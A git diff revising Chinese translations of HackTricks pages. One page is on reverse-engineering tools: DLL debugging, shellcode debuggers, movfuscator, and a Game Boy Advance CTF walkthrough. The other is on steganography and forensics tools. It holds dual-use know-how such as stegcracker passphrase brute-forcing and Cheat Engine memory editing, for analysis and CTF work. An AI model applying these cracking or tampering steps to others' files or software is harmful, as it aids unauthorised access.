![](<../../.gitbook/assets/image (286).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (283).png>)
|
||||
|
||||
在**模块**中点击任何模块,然后选择**打开所有模块**:
|
||||
单击**模块**中的任何模块,然后选择**打开所有模块**:
|
||||
|
||||
![](<../../.gitbook/assets/image (284).png>)
|
||||
|
||||
右键单击**程序集资源管理器**中的任何模块,然后点击**排序程序集**:
|
||||
右键单击**程序集资源管理器**中的任何模块,然后单击**排序程序集**:
|
||||
|
||||
![](<../../.gitbook/assets/image (285).png>)
|
||||
|
||||
|
@ -142,30 +134,30 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (135).png>)
|
||||
|
||||
* 配置执行的**参数**,放入**DLL的路径**和要调用的函数:
|
||||
* 配置执行的**参数**,放入**DLL路径**和要调用的函数:
|
||||
|
||||
![](<../../.gitbook/assets/image (136).png>)
|
||||
|
||||
然后,当您开始调试时,**每次加载DLL时执行都会停止**,然后当rundll32加载您的DLL时,执行将会停止。
|
||||
|
||||
但是,如何访问已加载的DLL的代码呢?使用这种方法,我不知道如何。
|
||||
但是,您如何查看已加载的DLL的代码呢?使用这种方法,我不知道如何。
|
||||
|
||||
### 使用x64dbg/x32dbg
|
||||
|
||||
* **加载rundll32**(64位位于C:\Windows\System32\rundll32.exe,32位位于C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **更改命令行**( _文件 --> 更改命令行_ )并设置dll的路径和要调用的函数,例如:“C:\Windows\SysWOW64\rundll32.exe” “Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll”,DLLMain
|
||||
* 更改 _选项 --> 设置_ 并选择“**DLL入口**”。
|
||||
* 然后**开始执行**,调试器将在每个dll主函数处停止,最终您将**停在您的dll的dll入口处**。从那里,只需搜索要设置断点的位置。
|
||||
* 然后**开始执行**,调试器将在每个dll主函数处停止,最终您将**停在您的dll的dll入口**。从那里,只需搜索要设置断点的位置。
|
||||
|
||||
请注意,当win64dbg由于任何原因停止执行时,您可以看到**您所在的代码**,在**win64dbg窗口顶部**查看:
|
||||
请注意,当win64dbg由于任何原因停止执行时,您可以在**win64dbg窗口顶部**看到您所在的**代码**:
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
然后,查看此处,您可以看到执行已在您要调试的dll中停止。
|
||||
|
||||
## GUI应用程序/视频游戏
|
||||
## GUI应用程序 / 视频游戏
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php)是一个有用的程序,可查找运行游戏内存中保存的重要值并更改它们。更多信息请参阅:
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序,可用于查找运行游戏内存中保存的重要值并更改它们。更多信息请参阅:
|
||||
|
||||
{% content-ref url="cheat-engine.md" %}
|
||||
[cheat-engine.md](cheat-engine.md)
|
||||
|
@ -179,11 +171,11 @@ iisreset /noforce
|
|||
|
||||
### 使用blobrunner调试shellcode
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner)将在内存空间中**分配shellcode**,将向您指示shellcode分配的**内存地址**,并将**停止**执行。\
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) 将在内存空间中**分配shellcode**,并**指示**您shellcode分配的**内存地址**,然后**停止**执行。\
|
||||
然后,您需要将调试器(Ida或x64dbg)**附加到进程**,在指示的内存地址处设置**断点**,然后**恢复**执行。这样您就可以调试shellcode了。
|
||||
|
||||
发布的github页面包含了编译版本的zip文件:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
您可以在以下链接中找到Blobrunner的略微修改版本。为了编译它,只需**在Visual Studio Code中创建一个C/C++项目,复制并粘贴代码,然后构建**。
|
||||
您可以在以下链接中找到Blobrunner的稍作修改的版本。要编译它,只需**在Visual Studio Code中创建一个C/C++项目,复制并粘贴代码,然后构建**。
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
|
@ -191,7 +183,7 @@ iisreset /noforce
|
|||
|
||||
### 使用jmp2it调试shellcode
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)与blobrunner非常相似。它将在内存空间中**分配shellcode**,并启动一个**永久循环**。然后,您需要**将调试器附加到进程**,**开始播放等待2-5秒,然后按停止**,您将发现自己处于**永久循环**中。跳转到永久循环的下一条指令,因为它将是对shellcode的调用,最终您将发现自己正在执行shellcode。
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)与blobrunner非常相似。它将在内存空间中**分配shellcode**,然后启动一个**永久循环**。然后,您需要将调试器**附加到进程**,**开始播放等待2-5秒然后停止**,您将发现自己处于**永久循环**中。跳转到永久循环的下一条指令,因为它将是对shellcode的调用,最终您将发现自己正在执行shellcode。
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
|
@ -199,7 +191,7 @@ iisreset /noforce
|
|||
|
||||
### 使用Cutter调试shellcode
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)是radare的GUI。使用Cutter,您可以动态模拟和检查shellcode。
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是radare的GUI。使用Cutter,您可以动态地模拟和检查shellcode。
|
||||
|
||||
请注意,Cutter允许您“打开文件”和“打开shellcode”。在我的情况下,当我将shellcode作为文件打开时,它正确反编译了,但当我将其作为shellcode打开时,它没有:
|
||||
|
||||
|
@ -231,7 +223,7 @@ scDbg还配备了一个图形启动器,您可以在其中选择所需的选项
|
|||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
**创建Dump**选项将在内存中动态更改shellcode时转储最终shellcode(有助于下载解码后的shellcode)。**起始偏移量**对于在特定偏移处启动shellcode可能很有用。**调试Shell**选项可用于使用scDbg终端调试shellcode(但我发现前面解释的任何选项在这方面都更好,因为您可以使用Ida或x64dbg)。
|
||||
**创建Dump**选项将在内存中动态更改shellcode时转储最终shellcode(有助于下载解码后的shellcode)。**起始偏移**对于在特定偏移处启动shellcode很有用。**调试Shell**选项可用于使用scDbg终端调试shellcode(但我发现前面解释的任何选项在这方面更好,因为您可以使用Ida或x64dbg)。
|
||||
|
||||
### 使用CyberChef进行反汇编
|
||||
|
||||
|
@ -244,56 +236,47 @@ scDbg还配备了一个图形启动器,您可以在其中选择所需的选项
|
|||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
||||
如果您很幸运,[demovfuscator](https://github.com/kirschju/demovfuscator)将对二进制文件进行反混淆。它有几个依赖项
|
||||
如果您很幸运,[demovfuscator ](https://github.com/kirschju/demovfuscator)将对二进制文件进行反混淆。它有几个依赖项
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
```
|
||||
并[安装keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
如果你在玩**CTF,这个绕过方法来找到flag**可能会非常有用:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样你就可以更快地修复它们。Intruder跟踪你的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
如果你在玩**CTF,这个绕过方法找到flag**可能非常有用:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
## Rust
|
||||
|
||||
要找到**入口点**,请搜索函数`::main`,如下所示:
|
||||
要找到**入口点**,搜索函数中的`::main`,如下所示:
|
||||
|
||||
![](<../../.gitbook/assets/image (612).png>)
|
||||
|
||||
在这种情况下,二进制文件被称为authenticator,因此很明显这是一个有趣的主函数。\
|
||||
有了被调用的**函数的名称**,搜索它们在**互联网**上,以了解它们的**输入**和**输出**。
|
||||
有了被调用的**函数的名称**,在**互联网**上搜索它们,了解它们的**输入**和**输出**。
|
||||
|
||||
## **Delphi**
|
||||
|
||||
对于Delphi编译的二进制文件,您可以使用[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
对于Delphi编译的二进制文件,可以使用[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
如果您需要反向一个Delphi二进制文件,我建议您使用IDA插件[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
如果你需要反向一个Delphi二进制文件,我建议你使用IDA插件[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
只需按下**ATL+f7**(在IDA中导入Python插件)并选择Python插件。
|
||||
只需按下**ATL+f7**(在IDA中导入Python插件),然后选择Python插件。
|
||||
|
||||
此插件将在调试开始时执行二进制文件并动态解析函数名称。开始调试后再次按下开始按钮(绿色按钮或f9),断点将在真实代码的开头处触发。
|
||||
此插件将在调试开始时执行二进制文件并动态解析函数名称。开始调试后再次按下开始按钮(绿色按钮或f9),将在真实代码的开头触发断点。
|
||||
|
||||
这也非常有趣,因为如果您在图形应用程序中按下按钮,调试器将停在由该按钮执行的函数中。
|
||||
这也非常有趣,因为如果在图形应用程序中按下按钮,调试器将停在由该按钮执行的函数中。
|
||||
|
||||
## Golang
|
||||
|
||||
如果您需要反向一个Golang二进制文件,我建议您使用IDA插件[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
如果你需要反向一个Golang二进制文件,我建议你使用IDA插件[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
只需按下**ATL+f7**(在IDA中导入Python插件)并选择Python插件。
|
||||
只需按下**ATL+f7**(在IDA中导入Python插件),然后选择Python插件。
|
||||
|
||||
这将解析函数的名称。
|
||||
|
||||
## 编译的Python
|
||||
|
||||
在这个页面上,您可以找到如何从ELF/EXE Python编译的二进制文件中获取Python代码:
|
||||
在这个页面上,你可以找到如何从一个ELF/EXE Python编译的二进制文件中获取Python代码:
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -301,14 +284,14 @@ apt-get install libz3-dev
|
|||
|
||||
## GBA - Game Body Advance
|
||||
|
||||
如果您获得了GBA游戏的**二进制文件**,您可以使用不同的工具来**模拟**和**调试**它:
|
||||
如果你得到一个GBA游戏的**二进制文件**,你可以使用不同的工具来**模拟**和**调试**它:
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm)(_下载调试版本_)- 包含带界面的调试器
|
||||
* [**mgba** ](https://mgba.io)- 包含CLI调试器
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm)(_下载调试版本_)- 包含一个带界面的调试器
|
||||
* [**mgba** ](https://mgba.io)- 包含一个CLI调试器
|
||||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra插件
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra插件
|
||||
|
||||
在[**no$gba**](https://problemkaputt.de/gba.htm)中,在_**Options --> Emulation Setup --> Controls**_\*\* \*\*您可以看到如何按下Game Boy Advance的**按钮**
|
||||
在[**no$gba**](https://problemkaputt.de/gba.htm)中,在_**Options --> Emulation Setup --> Controls**_\*\* \*\*你可以看到如何按下Game Boy Advance的**按钮**
|
||||
|
||||
![](<../../.gitbook/assets/image (578).png>)
|
||||
|
||||
|
@ -364,7 +347,7 @@ uVar2 = DAT_030004dc;
|
|||
uVar1 = *puVar6;
|
||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||
```
|
||||
最后的if语句检查**`uVar4`**是否在**最后的Keys**中,而不是当前的键,也称为释放按钮(当前键存储在**`uVar1`**中)。
|
||||
最后的if语句检查**`uVar4`**是否在**最后的Keys**中,而不是当前的密钥,也称为释放按钮(当前密钥存储在**`uVar1`**中)。
|
||||
```c
|
||||
if (uVar1 == 4) {
|
||||
DAT_030000d4 = 0;
|
||||
|
@ -395,14 +378,14 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
在前面的代码中,您可以看到我们正在将**uVar1**(按下按钮的**值所在的位置**)与一些值进行比较:
|
||||
|
||||
* 首先,它与**值4**(**SELECT**按钮)进行比较:在挑战中,此按钮清除屏幕
|
||||
* 然后,它与**值8**(**START**按钮)进行比较:在挑战中,这会检查代码是否有效以获取标志。
|
||||
* 在这种情况下,将**`DAT_030000d8`**与0xf3进行比较,如果值相同,则执行一些代码。
|
||||
* 在其他情况下,会检查一些cont(`DAT_030000d4`)。这是一个cont,因为在输入代码后立即加1。
|
||||
* 如果小于8,则会执行涉及**向\*\*`DAT_030000d8` \*\*添加值的操作(基本上是将按下的键的值添加到此变量中,只要cont小于8)。
|
||||
* 然后,将其与**值8**(**START**按钮)进行比较:在挑战中,这会检查代码是否有效以获取标志。
|
||||
* 在这种情况下,将变量**`DAT_030000d8`**与0xf3进行比较,如果值相同,则执行一些代码。
|
||||
* 在任何其他情况下,将检查一些cont(`DAT_030000d4`)。这是一个cont,因为在输入代码后立即加1。
|
||||
* 如果小于8,则执行涉及向**`DAT_030000d8`**添加值的操作(基本上是将按下的键的值添加到此变量中,只要cont小于8)。
|
||||
|
||||
因此,在这个挑战中,了解按钮的值,您需要**按下长度小于8的组合,使得结果相加为0xf3**。
|
||||
|
||||
**本教程的参考资料:**[**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
**本教程的参考资料:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
## Game Boy
|
||||
|
||||
|
@ -413,22 +396,16 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(二进制反混淆)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,54 +2,52 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## **从文件中提取数据**
|
||||
|
||||
### **Binwalk**
|
||||
用于搜索二进制文件中嵌入的隐藏文件和数据的工具。通过`apt`安装,其源代码可在[GitHub](https://github.com/ReFirmLabs/binwalk)上找到。
|
||||
|
||||
用于搜索二进制文件中嵌入的隐藏文件和数据的工具。通过`apt`安装,源代码可在[GitHub](https://github.com/ReFirmLabs/binwalk)上找到。
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Foremost**
|
||||
根据文件的头部和尾部恢复文件,对于 png 图像非常有用。通过 `apt` 安装,其源代码位于 [GitHub](https://github.com/korczis/foremost)。
|
||||
|
||||
根据文件的头部和尾部恢复文件,对于 png 图像非常有用。通过 `apt` 安装,源代码位于 [GitHub](https://github.com/korczis/foremost)。
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
帮助查看文件元数据,可在[此处](https://www.sno.phy.queensu.ca/~phil/exiftool/)找到。
|
||||
|
||||
帮助查看文件元数据,可在[此处](https://www.sno.phy.queensu.ca/\~phil/exiftool/)找到。
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
类似于exiftool,用于查看元数据。可通过`apt`安装,在[GitHub](https://github.com/Exiv2/exiv2)上获取源代码,并有一个[官方网站](http://www.exiv2.org/)。
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **文件**
|
||||
|
||||
确定你正在处理的文件类型。
|
||||
|
||||
### **字符串**
|
||||
|
||||
从文件中提取可读字符串,使用各种编码设置来过滤输出。
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
|
@ -62,7 +60,8 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
|||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **比较 (cmp)**
|
||||
### **比较(cmp)**
|
||||
|
||||
用于将修改后的文件与在线找到的原始版本进行比较。
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
|
@ -70,30 +69,18 @@ cmp original.jpg stego.jpg -b -l
|
|||
## **提取文本中的隐藏数据**
|
||||
|
||||
### **空格中的隐藏数据**
|
||||
看似空白的空格中可能隐藏着不可见字符。要提取这些数据,请访问[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。
|
||||
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
***
|
||||
在看似空白的空格中,可能隐藏着不可见字符所包含的信息。要提取这些数据,请访问 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。
|
||||
|
||||
## **从图像中提取数据**
|
||||
|
||||
### **使用GraphicMagick识别图像细节**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php)用于确定图像文件类型并识别潜在的损坏。执行以下命令来检查图像:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) 用于确定图像文件类型并识别潜在的损坏。执行以下命令来检查一个图像:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
要尝试修复损坏的图像,添加元数据注释可能会有所帮助:
|
||||
尝试修复损坏的图像时,添加元数据注释可能会有所帮助:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
|
@ -102,13 +89,15 @@ cmp original.jpg stego.jpg -b -l
|
|||
Steghide便于在`JPEG、BMP、WAV和AU`文件中隐藏数据,能够嵌入和提取加密数据。使用`apt`进行安装很简单,其[源代码可在GitHub上找到](https://github.com/StefanoDeVuono/steghide)。
|
||||
|
||||
**命令:**
|
||||
- `steghide info file` 用于查看文件是否包含隐藏数据。
|
||||
- `steghide extract -sf file [--passphrase password]` 用于提取隐藏数据,密码可选。
|
||||
|
||||
* `steghide info file` 用于查看文件是否包含隐藏数据。
|
||||
* `steghide extract -sf file [--passphrase password]` 用于提取隐藏数据,密码可选。
|
||||
|
||||
要进行基于Web的提取,请访问[此网站](https://futureboy.us/stegano/decinput.html)。
|
||||
|
||||
**使用Stegcracker进行暴力破解攻击:**
|
||||
- 要在Steghide上尝试密码破解,请使用[stegcracker](https://github.com/Paradoxis/StegCracker.git),如下所示:
|
||||
|
||||
* 要在Steghide上尝试密码破解,请使用[stegcracker](https://github.com/Paradoxis/StegCracker.git),操作如下:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
|
@ -117,8 +106,9 @@ stegcracker <file> [<wordlist>]
|
|||
zsteg 专门用于揭示 PNG 和 BMP 文件中的隐藏数据。通过 `gem install zsteg` 进行安装,其[源代码在 GitHub 上](https://github.com/zed-0xff/zsteg)。
|
||||
|
||||
**命令:**
|
||||
- `zsteg -a file` 在文件上应用所有检测方法。
|
||||
- `zsteg -E file` 指定用于数据提取的有效载荷。
|
||||
|
||||
* `zsteg -a file` 在文件上应用所有检测方法。
|
||||
* `zsteg -E file` 指定用于数据提取的有效载荷。
|
||||
|
||||
### **StegoVeritas 和 Stegsolve**
|
||||
|
||||
|
@ -128,11 +118,11 @@ zsteg 专门用于揭示 PNG 和 BMP 文件中的隐藏数据。通过 `gem inst
|
|||
|
||||
### **FFT 用于隐藏内容检测**
|
||||
|
||||
快速傅里叶变换(FFT)技术可以揭示图像中隐藏的内容。有用的资源包括:
|
||||
快速傅里叶变换(FFT)技术可以揭示图像中隐藏的内容。有用的资源包括:
|
||||
|
||||
- [EPFL 演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
- [GitHub 上的 FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
* [EPFL 演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [GitHub 上的 FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy 用于音频和图像文件**
|
||||
|
||||
|
@ -140,61 +130,70 @@ Stegpy 允许将信息嵌入图像和音频文件中,支持 PNG、BMP、GIF、
|
|||
|
||||
### **Pngcheck 用于 PNG 文件分析**
|
||||
|
||||
要分析 PNG 文件或验证其真实性,请使用:
|
||||
要分析 PNG 文件或验证其真实性,请使用:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **图像分析的附加工具**
|
||||
|
||||
进一步探索,请访问:
|
||||
进一步探索,请考虑访问:
|
||||
|
||||
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
- [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
- [OpenStego](https://www.openstego.com/)
|
||||
- [DIIT](https://diit.sourceforge.net/)
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **从音频中提取数据**
|
||||
|
||||
**音频隐写术**提供了一种在声音文件中隐藏信息的独特方法。不同的工具用于嵌入或检索隐藏内容。
|
||||
**音频隐写术** 提供了一种在声音文件中隐藏信息的独特方法。不同的工具被用于嵌入或检索隐藏内容。
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
Steghide是一个多功能工具,旨在将数据隐藏在JPEG、BMP、WAV和AU文件中。详细说明请参阅[隐写技巧文档](stego-tricks.md#steghide)。
|
||||
|
||||
Steghide 是一个多功能工具,旨在将数据隐藏在 JPEG、BMP、WAV 和 AU 文件中。详细说明请参阅 [stego tricks documentation](stego-tricks.md#steghide)。
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
该工具兼容各种格式,包括PNG、BMP、GIF、WebP和WAV。有关更多信息,请参阅[Stegpy部分](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。
|
||||
|
||||
该工具兼容多种格式,包括 PNG、BMP、GIF、WebP 和 WAV。有关更多信息,请参阅 [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。
|
||||
|
||||
### **ffmpeg**
|
||||
ffmpeg对于评估音频文件的完整性至关重要,突出显示详细信息并指出任何差异。
|
||||
|
||||
ffmpeg 对于评估音频文件的完整性至关重要,突出显示详细信息并指出任何不一致之处。
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
WavSteg在使用最低有效位策略在WAV文件中隐藏和提取数据方面表现出色。它可在[GitHub](https://github.com/ragibson/Steganography#WavSteg)上找到。命令包括:
|
||||
|
||||
WavSteg在WAV文件中使用最低有效位策略隐藏和提取数据。可在[GitHub](https://github.com/ragibson/Steganography#WavSteg)上找到。命令包括:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound允许使用AES-256在声音文件中加密和检测信息。可以从[官方页面](http://jpinsoft.net/deepsound/download.aspx)下载。
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Sonic Visualizer是一款无价的工具,用于对音频文件进行视觉和分析检查,可以揭示其他方法无法检测到的隐藏元素。访问[官方网站](https://www.sonicvisualiser.org/)了解更多信息。
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
